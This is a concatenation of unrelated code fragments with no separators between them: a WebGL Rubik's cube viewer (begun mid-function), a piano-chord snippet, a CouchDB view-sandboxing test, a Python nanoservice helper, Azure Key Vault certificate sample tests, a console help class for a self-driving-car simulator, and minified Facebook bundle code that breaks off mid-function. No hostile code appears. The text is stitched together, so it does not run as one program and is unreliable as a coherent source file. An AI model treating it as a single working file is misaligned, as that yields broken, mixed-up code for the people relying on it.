modelViewMatrix); mat4.transpose(_normalMatrix, _normalMatrix); var normalMatrix = mat3.create(); mat3.fromMat4(normalMatrix, _normalMatrix); var normalMatrixUniform = gl.getUniformLocation(shaderProgram, 'normalMatrix'); gl.uniformMatrix3fv(normalMatrixUniform, false, normalMatrix); } function unproject(dest, vec, view, proj, viewport) { var m = mat4.create(); var v = vec4.create(); v[0] = (vec[0] - viewport[0]) * 2.0 / viewport[2] - 1.0; v[1] = (vec[1] - viewport[1]) * 2.0 / viewport[3] - 1.0; v[2] = 2.0 * vec[2] - 1.0; v[3] = 1.0; mat4.multiply(m, proj, view); mat4.invert(m, m); vec4.transformMat4(v, v, m); if (v[3] == 0.0) { return null; } dest[0] = v[0] / v[3]; dest[1] = v[1] / v[3]; dest[2] = v[2] / v[3]; return dest; } function screenToObjectCoordinates(x, y) { var objectCoordinates = vec3.create(); var screenCoordinates = [x, y, 0]; unproject(objectCoordinates, screenCoordinates, modelViewMatrix, projectionMatrix, [0, 0, canvas.width, canvas.height]) return objectCoordinates; } function degreesToRadians(degrees) { return degrees * Math.PI / 180; } function rotate(event) { if (rightMouseDown) { x_init_right = event.clientX; y_init_right = event.clientY; var delta_x = parseInt((x_new_right - x_init_right) * 360 / this.width); var delta_y = parseInt((y_new_right - y_init_right) * 360 / this.width); var axis = [-delta_y, delta_x, 0]; var degrees = Math.sqrt(delta_x * delta_x + delta_y * delta_y); var newRotationMatrix = mat4.create(); mat4.rotate(newRotationMatrix, newRotationMatrix, degreesToRadians(degrees), axis); mat4.multiply(rotationMatrix, newRotationMatrix, rotationMatrix); } else if (leftMouseDown && !isRotating) { new_coordinates = screenToObjectCoordinates(event.pageX - CANVAS_X_OFFSET, canvas.height - event.pageY + CANVAS_Y_OFFSET); var direction = vec3.create(); vec3.subtract(direction, new_coordinates, init_coordinates); vec3.normalize(direction, direction); rubiksCube.setRotationAxis(event.pageX - CANVAS_X_OFFSET, canvas.height - event.pageY + CANVAS_Y_OFFSET, direction); rubiksCube.setRotatedCubes(); isRotating = rubiksCube.rotatedCubes && rubiksCube.rotationAxis; } x_new_right = event.clientX; y_new_right = event.clientY; } function startRotate(event) { if (event.button == LEFT_MOUSE) { // left mouse rubiksCube.selectedCubes = []; rubiksCube.selectCube(event.pageX - CANVAS_X_OFFSET, canvas.height - event.pageY + CANVAS_Y_OFFSET); if (rubiksCube.selectedCubes.length > 0) { init_coordinates = screenToObjectCoordinates(event.pageX - CANVAS_X_OFFSET, canvas.height - event.pageY + CANVAS_Y_OFFSET); setTimeout(function() { leftMouseDown = true; }, 50); } } else if (event.button == RIGHT_MOUSE) { // right mouse rightMouseDown = true; x_init_right = event.pageX; y_init_right = event.pageY; } } function endRotate(event) { if (event.button == LEFT_MOUSE && leftMouseDown) { // left mouse leftMouseDown = false; rubiksCube.algDone(); } else if (event.button == RIGHT_MOUSE) { // right mouse rightMouseDown = false; } } function topView() { mat4.identity(rotationMatrix); mat4.rotateX(rotationMatrix, rotationMatrix, degreesToRadians(90)); } function bottomView() { mat4.identity(rotationMatrix); mat4.rotateX(rotationMatrix, rotationMatrix, degreesToRadians(-90)); } function leftView() { mat4.identity(rotationMatrix); mat4.rotateY(rotationMatrix, rotationMatrix, degreesToRadians(-90)); } function rightView() { mat4.identity(rotationMatrix); mat4.rotateY(rotationMatrix, rotationMatrix, degreesToRadians(90)); } function frontView() { mat4.identity(rotationMatrix); } function backView() { mat4.identity(rotationMatrix); mat4.rotateY(rotationMatrix, rotationMatrix, degreesToRadians(180)); } function perspectiveView() { mat4.identity(rotationMatrix); mat4.rotateX(rotationMatrix, rotationMatrix, degreesToRadians(30)); mat4.rotateY(rotationMatrix, rotationMatrix, degreesToRadians(-50)); mat4.rotateZ(rotationMatrix, rotationMatrix, degreesToRadians(0)); } function togglePerspective(event) { switch(event.which) { case 32: // space perspectiveView(); break; case 97: // a, left leftView(); break; case 100: // d, right rightView(); break; case 101: // e, top topView(); break; case 113: // q, bottom bottomView(); break; case 115: // s, back backView(); break; case 119: // w, front frontView(); break; } } function testLayerMoves() { if (!isAnimating) { isAnimating = true; rubiksCube.perform([ {face:"R", inverse:false}, {face:"R", inverse:true}, {face:"L", inverse:false}, {face:"L", inverse:true}, {face:"U", inverse:false}, {face:"U", inverse:true}, {face:"D", inverse:false}, {face:"D", inverse:true}, {face:"F", inverse:false}, {face:"F", inverse:true}, {face:"B", inverse:false}, {face:"B", inverse:true}, {face:"M", inverse:false}, {face:"M", inverse:true}, {face:"E", inverse:false}, {face:"E", inverse:true}, {face:"S", inverse:false}, {face:"S", inverse:true} ]); return; } } function scramble() { var count; isInitializing = false; if (!isAnimating) { isAnimating = true; if ($(canvas).parent().find('.scramble-length')) count = parseInt($(canvas).parent().find('.scramble-length').val()); else count = Math.floor(Math.random() * 10) + 10; var moves = ['R','L','U','D','F','B']; var movesWithSlices = ['R','L','U','D','F','B','M','E','S']; var moveList = []; var moveIndex = 0; var prevIndex = 0; var randomMove; var inverse = false; var moveCount = 1; for (var i = 0; i < count; i++) { moveIndex = Math.floor(Math.random() * moves.length); while (moveIndex/2 == prevIndex/2) { moveIndex = Math.floor(Math.random() * moves.length); } randomMove = moves[moveIndex]; prevIndex = moveIndex; moveCount = 1 + Math.floor(Math.random()*2); inverse = moveCount==1 && Math.random() < 0.5; moveList.push({face:randomMove, inverse:inverse, count:moveCount}); } rubiksCube.perform(moveList); var ret = rubiksCube.moveListToString(moveList); $(canvas).parent().find('.moveList').text(ret); } return ret; } function parseAlgorithm(algorithm) { var alg = algorithm; alg = alg.replace(/ /g, ''); alg = alg.replace(/'/g,'3'); alg = alg.replace(/-/g,'3'); alg = alg.replace(/([^LRUDFBMESxyz0123456789])/gi,""); // add count where necessary alg = alg.replace(/([LRUDFBMESxyz])([^0-9])/ig,"$11$2"); alg = alg.replace(/([LRUDFBMESxyz])([^0-9])/ig,"$11$2"); alg = alg.replace(/([0-9])([LRUDFBMESxyz])/ig,"$1,$2"); alg = alg.replace(/([LRUDFBMESxyz])$/i,"$11"); var moveList = alg.split(",") .map(function(el){ var n = 1*el.charAt(1); return { face:el.charAt(0), inverse: n==3, count:(""+n).replace(3,1)} }); return moveList; } function doAlgorithm(moves) { if (!isAnimating) { isAnimating = true; rubiksCube.perform(moves); } } function initControls() { $('#controls .btn').click(function() { var arrControls = [ "R","L","U","D","F","B", "R-prime","L-prime","U-prime","D-prime","F-prime","B-prime", "R2","L2","U2","D2","F2","B2" ]; var control = this.id.replace('move-',''); var prime = false; var doubleMove = false; if (control.match('prime')) prime = true; if (control.match('2')) doubleMove = true; var layer = control.charAt(0); var moveList = []; moveList.push({face:layer, inverse:prime, count:doubleMove?2:1}); rubiksCube.perform(moveList); }); } // public interface this.start = start; this.reset = function() { rubiksCube.reset(); }; this.rubiksCube = function() { return rubiksCube; }; this.initControls = function() { initControls(); }; this.parseAlgorithm = parseAlgorithm; this.doAlgorithm = doAlgorithm; this.scramble = scramble; this.rotate = rotate; this.startRotate = startRotate; this.endRotate = endRotate; this.togglePerspective = togglePerspective; }; // global scope $(document).ready(function() { $('.glube').each(function(){ var glube = new GLube; // animation $(this).find('canvas').each(function() { var canvas = this; glube.start(this); $(this).bind('contextmenu', function(e) { return false; }); $(this).mousedown(glube.startRotate); $(this).mousemove(glube.rotate); $(this).mouseup(glube.endRotate); glube.reset(); glube.initControls(); }); // controls $(this).find('.reset-cube').click(function() {glube.reset();}); $(this).find('.scramble-cube').click(function() {glube.scramble()}); $(this).find('.run-alg').click(function() { glube.isInitializing = false; var alg = $(this).prev().find('.algorithm').val(); var moves = glube.parseAlgorithm(alg); glube.doAlgorithm(moves); }); }); }); })(); is_major = true; position = 0; major_array = [ "[CEG]4", "[_DF_A]4", "[D_GA]4", "[_EG_B]4", "[E_AB]4", "[FAC]4", "[_G_B_D]4", "[GBD]4", "[_AC_E]4", "[A_DE]4", "[_BDF]4", "[B_E_G]4"]; minor_array = ["[C_AF]4", "[_DA_G]4", "[D_BG]4", "[_EB_A]4", "[ECA]4", "[F_D_B]4", "[_GDB]4", "[G_EC]4", "[_AE_D]4", "[AFD]4", "[_B_G_E]4", "[BGE]4"]; twinkle = ["CCGG", "AAG2", "FFEE", "DDC2", "GGFF", "EED2", "GGFF", "EED2", "CCGG", "AAG2", "FFEE", "DDC2"]; twinkle_beat1 = ["[C]4", "[C]4", "[G]4", "[G]4", "[A]4", "[A]4", "[G2]4", "[G]4", "[F]4", "[F]4", "[E]4", "[E]4"]; twinkle_beat2 = ["C", "C", "G", "G", "A", "A", "G2", "F", "F", "E", "E", "D", "D", "C2:", ":G", "G", "F", "F", "E", "E", "D2", "G", "G", "F", "F", "E", "E", "D2", "C", "C", "G", "G", "A", "A", "G2", "F", "F", "E", "E", "D", "D", "C2:"]; twinkle_beat = ["[C]4", "[C]4", "[G]4", "[G]4", "[A]4", "[A]4", "[G2]4", "[F]4", "[F]4", "[E]4", "[E]4", "[D]4", "[D]4", "[C2:]4", "[:G]4", "[G]4", "[F]4", "[F]4", "[E]4", "[E]4", "[D2]4", "[G]4", "[G]4", "[F]4", "[F]4", "[E]4", "[E]4", "[D2]4", "[C]4", "[C]4", "[G]4", "[G]4", "[A]4", "[A]4", "[G2]4", "[F]4", "[F]4", "[E]4", "[E]4", "[D]4", "[D]4", "[C2:]4"]; var inst = new Instrument('piano'); // inst.silence(); // Play a single tone immediately. Tones may be also specified // numerically (in Hz), or with midi numbers (as negative integers). inst.tone('C'); function beat() { if (is_major){ inst.play(twinkle_beat[position]); } else{ inst.play(twinkle_beat[position]); } }
// Licensed under the Apache License, Version 2.0 (the "License"); you may not // use this file except in compliance with the License. You may obtain a copy of // the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, WITHOUT // WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the // License for the specific language governing permissions and limitations under // the License. couchTests.view_sandboxing = function(debug) { var db = new CouchDB("test_suite_db", {"X-Couch-Full-Commit":"false"}); db.deleteDb(); db.createDb(); if (debug) debugger; var doc = {integer: 1, string: "1", array: [1, 2, 3]}; T(db.save(doc).ok); /* // make sure that attempting to change the document throws an error var results = db.query(function(doc) { doc.integer = 2; emit(null, doc); }); T(results.total_rows == 0); var results = db.query(function(doc) { doc.array[0] = 0; emit(null, doc); }); T(results.total_rows == 0); */ // make sure that a view cannot invoke interpreter internals such as the // garbage collector var results = db.query(function(doc) { gc(); emit(null, doc); }); T(results.total_rows == 0); // make sure that a view cannot access the map_funs array defined used by // the view server var results = db.query(function(doc) { map_funs.push(1); emit(null, doc); }); T(results.total_rows == 0); // make sure that a view cannot access the map_results array defined used by // the view server var results = db.query(function(doc) { map_results.push(1); emit(null, doc); }); T(results.total_rows == 0); // test for COUCHDB-925 // altering 'doc' variable in map function affects other map functions var ddoc = { _id: "_design/foobar", language: "javascript", views: { view1: { map: (function(doc) { if (doc.values) { doc.values = [666]; } if (doc.tags) { doc.tags.push("qwerty"); } if (doc.tokens) { doc.tokens["c"] = 3; } }).toString() }, view2: { map: (function(doc) { if (doc.values) { emit(doc._id, doc.values); } if (doc.tags) { emit(doc._id, doc.tags); } if (doc.tokens) { emit(doc._id, doc.tokens); } }).toString() } } }; var doc1 = { _id: "doc1", values: [1, 2, 3] }; var doc2 = { _id: "doc2", tags: ["foo", "bar"], tokens: {a: 1, b: 2} }; db.deleteDb(); db.createDb(); T(db.save(ddoc).ok); T(db.save(doc1).ok); T(db.save(doc2).ok); var view1Results = db.view( "foobar/view1", {bypass_cache: Math.round(Math.random() * 1000)}); var view2Results = db.view( "foobar/view2", {bypass_cache: Math.round(Math.random() * 1000)}); TEquals(0, view1Results.rows.length, "view1 has 0 rows"); TEquals(3, view2Results.rows.length, "view2 has 3 rows"); TEquals(doc1._id, view2Results.rows[0].key); TEquals(doc2._id, view2Results.rows[1].key); TEquals(doc2._id, view2Results.rows[2].key); // https://bugzilla.mozilla.org/show_bug.cgi?id=449657 TEquals(3, view2Results.rows[0].value.length, "Warning: installed SpiderMonkey version doesn't allow sealing of arrays"); if (view2Results.rows[0].value.length === 3) { TEquals(1, view2Results.rows[0].value[0]); TEquals(2, view2Results.rows[0].value[1]); TEquals(3, view2Results.rows[0].value[2]); } TEquals(1, view2Results.rows[1].value["a"]); TEquals(2, view2Results.rows[1].value["b"]); TEquals('undefined', typeof view2Results.rows[1].value["c"], "doc2.tokens object was not sealed"); TEquals(2, view2Results.rows[2].value.length, "Warning: installed SpiderMonkey version doesn't allow sealing of arrays"); if (view2Results.rows[2].value.length === 2) { TEquals("foo", view2Results.rows[2].value[0]); TEquals("bar", view2Results.rows[2].value[1]); } // cleanup db.deleteDb(); };
import sys import signal import logging import threading from nanoservice import config def ping(): return 'pong' def stop(dummy_signum=None, dummy_frame=None): """ Stop script """ logging.info('Exiting ...') sys.exit(0) def prepare(configpath): """ Read json configuration and respond to CTR-C """ # Respond to CTRL-C if threading.current_thread().name == 'MainThread': signal.signal(signal.SIGINT, stop) # Load configuration file conf_data = config.load(configpath) # Set logging level logging.basicConfig( format=conf_data['logging.format'], level=getattr(logging, conf_data.get('logging', 'info').upper())) return conf_data def enhance(service): """ enhance a service by registering additional methods """ service.register('ping', ping) service.register('stop', stop)
# ------------------------------------ # Copyright (c) Microsoft Corporation. # Licensed under the MIT License. # ------------------------------------ from __future__ import print_function import functools import time from azure.keyvault.certificates import ( CertificateClient, CertificatePolicy, CertificateContentType, WellKnownIssuerNames, ) from devtools_testutils import ResourceGroupPreparer, KeyVaultPreparer from _shared.preparer import KeyVaultClientPreparer as _KeyVaultClientPreparer from _shared.test_case import KeyVaultTestCase # pre-apply the client_cls positional argument so it needn't be explicitly passed below KeyVaultClientPreparer = functools.partial(_KeyVaultClientPreparer, CertificateClient) def print(*args): assert all(arg is not None for arg in args) def test_create_certificate_client(): vault_url = "vault_url" # pylint:disable=unused-variable # [START create_certificate_client] from azure.identity import DefaultAzureCredential from azure.keyvault.certificates import CertificateClient # Create a CertificateClient using default Azure credentials credential = DefaultAzureCredential() certificate_client = CertificateClient(vault_url=vault_url, credential=credential) # [END create_certificate_client] class TestExamplesKeyVault(KeyVaultTestCase): @ResourceGroupPreparer(random_name_enabled=True) @KeyVaultPreparer() @KeyVaultClientPreparer() def test_example_certificate_crud_operations(self, client, **kwargs): certificate_client = client # [START create_certificate] from azure.keyvault.certificates import CertificatePolicy, CertificateContentType, WellKnownIssuerNames # specify the certificate policy cert_policy = CertificatePolicy( issuer_name=WellKnownIssuerNames.self, subject="CN=*.microsoft.com", san_dns_names=["sdk.azure-int.net"], exportable=True, key_type="RSA", key_size=2048, reuse_key=False, content_type=CertificateContentType.pkcs12, validity_in_months=24, ) cert_name = "cert-name" # create a certificate with optional arguments, returns a long running operation poller certificate_operation_poller = certificate_client.begin_create_certificate( certificate_name=cert_name, policy=cert_policy ) # Here we are waiting for the certificate creation operation to be completed certificate = certificate_operation_poller.result() # You can get the final status of the certificate operation poller using .result() print(certificate_operation_poller.result()) print(certificate.id) print(certificate.name) print(certificate.policy.issuer_name) # [END create_certificate] # [START get_certificate] # get the certificate certificate = certificate_client.get_certificate(cert_name) print(certificate.id) print(certificate.name) print(certificate.policy.issuer_name) # [END get_certificate] version = certificate.properties.version # [START get_certificate_version] certificate = certificate_client.get_certificate_version(cert_name, version) print(certificate.id) print(certificate.properties.version) # [END get_certificate_version] # [START update_certificate] # update attributes of an existing certificate tags = {"foo": "updated tag"} updated_certificate = certificate_client.update_certificate_properties( certificate_name=certificate.name, tags=tags ) print(updated_certificate.properties.version) print(updated_certificate.properties.updated_on) print(updated_certificate.properties.tags) # [END update_certificate] # [START delete_certificate] # delete a certificate deleted_certificate = certificate_client.begin_delete_certificate(certificate.name).result() print(deleted_certificate.name) # if the vault has soft-delete enabled, the certificate's deleted date, # scheduled purge date, and recovery id are available print(deleted_certificate.deleted_on) print(deleted_certificate.scheduled_purge_date) print(deleted_certificate.recovery_id) # [END delete_certificate] @ResourceGroupPreparer(random_name_enabled=True) @KeyVaultPreparer() @KeyVaultClientPreparer() def test_example_certificate_list_operations(self, client, **kwargs): certificate_client = client # specify the certificate policy cert_policy = CertificatePolicy( issuer_name=WellKnownIssuerNames.self, subject="CN=*.microsoft.com", san_dns_names=["sdk.azure-int.net"], exportable=True, key_type="RSA", key_size=2048, reuse_key=False, content_type=CertificateContentType.pkcs12, validity_in_months=24, ) certificate_name = self.get_replayable_random_resource_name("cert") certificate_client.begin_create_certificate(certificate_name, cert_policy).wait() # [START list_properties_of_certificates] # get an iterator of certificates certificates = certificate_client.list_properties_of_certificates() for certificate in certificates: print(certificate.id) print(certificate.created_on) print(certificate.name) print(certificate.updated_on) print(certificate.enabled) # [END list_properties_of_certificates] # create a second version of the cert certificate_client.begin_create_certificate(certificate_name, cert_policy).wait() # [START list_properties_of_certificate_versions] # get an iterator of a certificate's versions certificate_versions = certificate_client.list_properties_of_certificate_versions(certificate_name) for certificate in certificate_versions: print(certificate.id) print(certificate.updated_on) print(certificate.version) # [END list_properties_of_certificate_versions] certificate_client.begin_delete_certificate(certificate_name).wait() # [START list_deleted_certificates] # get an iterator of deleted certificates (requires soft-delete enabled for the vault) deleted_certificates = certificate_client.list_deleted_certificates() for certificate in deleted_certificates: print(certificate.id) print(certificate.name) print(certificate.deleted_on) print(certificate.scheduled_purge_date) print(certificate.deleted_on) # [END list_deleted_certificates] @ResourceGroupPreparer(random_name_enabled=True) @KeyVaultPreparer() @KeyVaultClientPreparer() def test_example_certificate_backup_restore(self, client, **kwargs): certificate_client = client # specify the certificate policy cert_policy = CertificatePolicy( issuer_name=WellKnownIssuerNames.self, subject="CN=*.microsoft.com", san_dns_names=["sdk.azure-int.net"], exportable=True, key_type="RSA", key_size=2048, reuse_key=False, content_type=CertificateContentType.pkcs12, validity_in_months=24, ) polling_interval = 0 if self.is_playback() else None cert_name = "cert-name" certificate_client.begin_create_certificate(certificate_name=cert_name, policy=cert_policy).wait() # [START backup_certificate] # backup certificate certificate_backup = certificate_client.backup_certificate(cert_name) # returns the raw bytes of the backed up certificate print(certificate_backup) # [END backup_certificate] certificate_client.begin_delete_certificate(certificate_name=cert_name).wait() certificate_client.purge_deleted_certificate(certificate_name=cert_name) if self.is_live: time.sleep(15) # [START restore_certificate] # restore a certificate backup restored_certificate = certificate_client.restore_certificate_backup(certificate_backup) print(restored_certificate.id) print(restored_certificate.name) print(restored_certificate.properties.version) # [END restore_certificate] @ResourceGroupPreparer(random_name_enabled=True) @KeyVaultPreparer() @KeyVaultClientPreparer() def test_example_certificate_recover(self, client, **kwargs): certificate_client = client # specify the certificate policy cert_policy = CertificatePolicy( issuer_name=WellKnownIssuerNames.self, subject="CN=*.microsoft.com", san_dns_names=["sdk.azure-int.net"], exportable=True, key_type="RSA", key_size=2048, reuse_key=False, content_type=CertificateContentType.pkcs12, validity_in_months=24, ) cert_name = "cert-name" polling_interval = 0 if self.is_playback() else None certificate_client.begin_create_certificate(certificate_name=cert_name, policy=cert_policy).wait() certificate_client.begin_delete_certificate(certificate_name=cert_name).wait() # [START get_deleted_certificate] # get a deleted certificate (requires soft-delete enabled for the vault) deleted_certificate = certificate_client.get_deleted_certificate(cert_name) print(deleted_certificate.name) # if the vault has soft-delete enabled, the certificate's deleted date, # scheduled purge date, and recovery id are available print(deleted_certificate.deleted_on) print(deleted_certificate.scheduled_purge_date) print(deleted_certificate.recovery_id) # [END get_deleted_certificate] # [START recover_deleted_certificate] # recover a deleted certificate to its latest version (requires soft-delete enabled for the vault) recovered_certificate = certificate_client.begin_recover_deleted_certificate(cert_name).result() print(recovered_certificate.id) print(recovered_certificate.name) # [END recover_deleted_certificate] @ResourceGroupPreparer(random_name_enabled=True) @KeyVaultPreparer() @KeyVaultClientPreparer() def test_example_contacts(self, client, **kwargs): certificate_client = client # [START set_contacts] from azure.keyvault.certificates import CertificateContact # Create a list of the contacts that you want to set for this key vault. contact_list = [ CertificateContact(email="[email protected]", name="John Doe", phone="1111111111"), CertificateContact(email="[email protected]", name="John Doe2", phone="2222222222"), ] contacts = certificate_client.set_contacts(contact_list) for contact in contacts: print(contact.name) print(contact.email) print(contact.phone) # [END set_contacts] # [START get_contacts] contacts = certificate_client.get_contacts() # Loop through the certificate contacts for this key vault. for contact in contacts: print(contact.name) print(contact.email) print(contact.phone) # [END get_contacts] # [START delete_contacts] deleted_contacts = certificate_client.delete_contacts() for deleted_contact in deleted_contacts: print(deleted_contact.name) print(deleted_contact.email) print(deleted_contact.phone) # [END delete_contacts] @ResourceGroupPreparer(random_name_enabled=True) @KeyVaultPreparer() @KeyVaultClientPreparer() def test_example_issuers(self, client, **kwargs): certificate_client = client # [START create_issuer] from azure.keyvault.certificates import AdministratorContact # First we specify the AdministratorContact for a issuer. admin_contacts = [ AdministratorContact(first_name="John", last_name="Doe", email="[email protected]", phone="4255555555") ] issuer = certificate_client.create_issuer( issuer_name="issuer1", provider="Test", account_id="keyvaultuser", admin_contacts=admin_contacts, enabled=True, ) print(issuer.name) print(issuer.provider) print(issuer.account_id) for contact in issuer.admin_contacts: print(contact.first_name) print(contact.last_name) print(contact.email) print(contact.phone) # [END create_issuer] # [START get_issuer] issuer = certificate_client.get_issuer("issuer1") print(issuer.name) print(issuer.provider) print(issuer.account_id) for contact in issuer.admin_contacts: print(contact.first_name) print(contact.last_name) print(contact.email) print(contact.phone) # [END get_issuer] certificate_client.create_issuer( issuer_name="issuer2", provider="Test", account_id="keyvaultuser", enabled=True ) # [START list_properties_of_issuers] issuers = certificate_client.list_properties_of_issuers() for issuer in issuers: print(issuer.name) print(issuer.provider) # [END list_properties_of_issuers] # [START delete_issuer] deleted_issuer = certificate_client.delete_issuer("issuer1") print(deleted_issuer.name) print(deleted_issuer.provider) print(deleted_issuer.account_id) for contact in deleted_issuer.admin_contacts: print(contact.first_name) print(contact.last_name) print(contact.email) print(contact.phone) # [END delete_issuer]
class Info: """ Allows to print out information about the application. """ def commands(): print('''Main modules: imu | Inertial Measurement Unit (GPS, gyro, accelerometer) gps | GPS gyro | Gyroscope accel | Accelerometer fuzzy | Fuzzy Controller nn | Neural Network test | Unit-tests for each module exit | Exit ''') def help(): print('''SDC CONSOLE APP SDC stands for Self-Driving Cars. So this app allows you to simulate some modules of SDC within a console. All modules can be called by: sdc module --mode All information modules can be called by: sdc -commands sdc -help ''') def imu(): print('''sdc imu: --p | IMU (position) --v | IMU (velocity) --a | IMU (acceleration) ''') def gps(): print('''sdc gps: --p | GPS (position) --v | GPS (velocity) --a | GPS (acceleration) ''')
if (self.CavalryLogger) { CavalryLogger.start_js(["ncHkS"]); } __d("VideoComponentScrubberPreviewQuery.graphql",[],(function(a,b,c,d,e,f){"use strict";a=function(){var a=[{kind:"LocalArgument",name:"videoID",type:"ID!",defaultValue:null}],b=[{kind:"Variable",name:"id",variableName:"videoID"}],c={kind:"InlineFragment",type:"Video",selections:[{kind:"LinkedField",alias:"scrubberPreviewThumbnailInformation",name:"scrubber_preview_thumbnail_information",storageKey:"scrubber_preview_thumbnail_information(height:45,width:45)",args:[{kind:"Literal",name:"height",value:45},{kind:"Literal",name:"width",value:45}],concreteType:"ScrubberPreview",plural:!1,selections:[{kind:"ScalarField",alias:"timeIntervalBetweenImages",name:"time_interval_between_image",args:null,storageKey:null},{kind:"ScalarField",alias:"previewScrubberWidth",name:"thumbnail_width",args:null,storageKey:null},{kind:"ScalarField",alias:"previewScrubberHeight",name:"thumbnail_height",args:null,storageKey:null},{kind:"ScalarField",alias:"maxImagesPerSprite",name:"max_number_of_images_per_sprite",args:null,storageKey:null},{kind:"ScalarField",alias:"imagesPerRow",name:"num_images_per_row",args:null,storageKey:null},{kind:"ScalarField",alias:"hasPreviewThumbnails",name:"has_preview_thumbnails",args:null,storageKey:null},{kind:"ScalarField",alias:"spriteIndexToURIMap",name:"sprite_uris",args:null,storageKey:null},{kind:"ScalarField",alias:"scrubberVideoURI",name:"scrubber_video_uri",args:null,storageKey:null}]}]};return{kind:"Request",fragment:{kind:"Fragment",name:"VideoComponentScrubberPreviewQuery",type:"Query",metadata:null,argumentDefinitions:a,selections:[{kind:"LinkedField",alias:"video",name:"node",storageKey:null,args:b,concreteType:null,plural:!1,selections:[c]}]},operation:{kind:"Operation",name:"VideoComponentScrubberPreviewQuery",argumentDefinitions:a,selections:[{kind:"LinkedField",alias:"video",name:"node",storageKey:null,args:b,concreteType:null,plural:!1,selections:[{kind:"ScalarField",alias:null,name:"__typename",args:null,storageKey:null},{kind:"ScalarField",alias:null,name:"id",args:null,storageKey:null},c]}]},params:{operationKind:"query",name:"VideoComponentScrubberPreviewQuery",id:"1932498816782184",text:null,metadata:{}}}}();e.exports=a}),null); __d("VideoComponentWithInstreamVideoQuery.graphql",[],(function(a,b,c,d,e,f){"use strict";a=function(){var a=[{kind:"LocalArgument",name:"videoID",type:"ID!",defaultValue:null}],b=[{kind:"Variable",name:"id",variableName:"videoID"}],c={kind:"InlineFragment",type:"Video",selections:[{kind:"ScalarField",alias:"adBreaksViewerConfig",name:"ad_breaks_viewer_config",args:null,storageKey:null}]};return{kind:"Request",fragment:{kind:"Fragment",name:"VideoComponentWithInstreamVideoQuery",type:"Query",metadata:null,argumentDefinitions:a,selections:[{kind:"LinkedField",alias:"video",name:"node",storageKey:null,args:b,concreteType:null,plural:!1,selections:[c]}]},operation:{kind:"Operation",name:"VideoComponentWithInstreamVideoQuery",argumentDefinitions:a,selections:[{kind:"LinkedField",alias:"video",name:"node",storageKey:null,args:b,concreteType:null,plural:!1,selections:[{kind:"ScalarField",alias:null,name:"__typename",args:null,storageKey:null},{kind:"ScalarField",alias:null,name:"id",args:null,storageKey:null},c]}]},params:{operationKind:"query",name:"VideoComponentWithInstreamVideoQuery",id:"1941634209219931",text:null,metadata:{}}}}();e.exports=a}),null); __d("CometButtonStyles_DEPRECATED.react",["React","stylex"],(function(a,b,c,d,e,f){"use strict";__p&&__p();var g={disabled:{backgroundImage:"mf7ej076",cursor:"t5a262vz",":hover":{backgroundImage:"ljzjr9fn",cursor:"tkdm7zml"},":focus":{boxShadow:"mi62g4hq"}},expanded:{display:"pq6dq46d",justifyContent:"taijpn5t",minHeight:"sn7ne77z",minWidth:"oqhjfihn"},large:{fontSize:"a5q79mjw",lineHeight:"g1cxx5fr"},medium:{fontSize:"jq4qci2q",lineHeight:"m5l1wtfr"},primary:{backgroundColor:"s1i5eluu",color:"bwm1u5wc",":active":{backgroundColor:"id6903cd"}},primaryDeemphasized:{backgroundColor:"oo1teu6h",color:"knomaqxo",":active":{backgroundColor:"rudrce6k",color:"qzg4r8h7"}},primaryDeemphasizedDisabled:{backgroundColor:"c98fg2ug",color:"pipptul6"},primaryDisabled:{backgroundColor:"c98fg2ug",color:"erlsw9ld"},root:{alignItems:"bp9cbjyn",borderTopStartRadius:"beltcj47",borderTopEndRadius:"p86d2i9g",borderBottomEndRadius:"aot14ch1",borderBottomStartRadius:"kzx2olss",borderWidth:"auili1gw",boxSizing:"rq0escxv",cursor:"nhd2j8a9",display:"pq6dq46d",fontWeight:"lrazzd5p",outline:"lzcic4wl",paddingTop:"cxgpxx05",paddingEnd:"d1544ag0",paddingBottom:"sj5x9vvc",paddingStart:"tw6a2znq",position:"l9j0dhe7",textAlign:"oqcyycmt",textDecoration:"esuyzwwr",textShadow:"gigivrx4",verticalAlign:"sf5mxxl7",whiteSpace:"g0qnabr5",":hover":{backgroundImage:"ehryuci6",textDecoration:"p8dawk7l"},":focus":{boxShadow:"lrwzeq9o",outline:"iqfcb0g7"},":active":{transform:"lsqurvkf"}},secondary:{backgroundColor:"tdjehn4e",color:"oo9gr5id",":active":{backgroundColor:"kca3o15f"}},secondaryDeemphasized:{backgroundColor:"g5ia77u1",color:"knomaqxo",":active":{backgroundColor:"cq6j33a1",color:"qzg4r8h7"}},secondaryDeemphasizedDisabled:{backgroundColor:"g5ia77u1",color:"erlsw9ld"},secondaryDisabled:{backgroundColor:"c98fg2ug",color:"erlsw9ld"},shadow:{boxShadow:"rdkkywzo"},white:{backgroundColor:"q2y6ezfg",color:"oo9gr5id",":active":{backgroundColor:"cq6j33a1"}},whiteDeemphasized:{backgroundColor:"g5ia77u1",color:"knomaqxo",":active":{backgroundColor:"cq6j33a1",color:"qzg4r8h7"}},whiteDeemphasizedDisabled:{backgroundColor:"g5ia77u1",color:"erlsw9ld"},whiteDisabled:{backgroundColor:"c98fg2ug",color:"bwm1u5wc"}};function a(a){__p&&__p();var b=a.children,c=a.deemphasized;c=c===void 0?!1:c;var d=a.disabled;d=d===void 0?!1:d;var e=a.expanded;e=e===void 0?!1:e;var f=a.shadow;f=f===void 0?!1:f;var h=a.size;h=h===void 0?"medium":h;a=a.use;a=a===void 0?"primary":a;return b([g.root,d&&g.disabled,h==="large"&&g.large,h==="medium"&&g.medium,e===!0&&g.expanded,f===!0&&g.shadow,a==="primary"&&g.primary,a==="primary"&&d===!0&&g.primaryDisabled,a==="primary"&&c===!0&&g.primaryDeemphasized,a==="primary"&&c===!0&&d===!0&&g.primaryDeemphasizedDisabled,a==="secondary"&&g.secondary,a==="secondary"&&d===!0&&g.secondaryDisabled,a==="secondary"&&c===!0&&g.secondaryDeemphasized,a==="secondary"&&c===!0&&d===!0&&g.secondaryDeemphasizedDisabled,a==="white"&&g.white,a==="white"&&d===!0&&g.whiteDisabled,a==="white"&&c===!0&&g.whiteDeemphasized,a==="white"&&c===!0&&d===!0&&g.whiteDeemphasizedDisabled])}e.exports=a}),null); __d("CometButton_DEPRECATED.react",["BaseButtonOrLink_DEPRECATED.react","CometButtonStyles_DEPRECATED.react","React"],(function(a,b,c,d,e,f){"use strict";__p&&__p();function a(a,c){__p&&__p();var 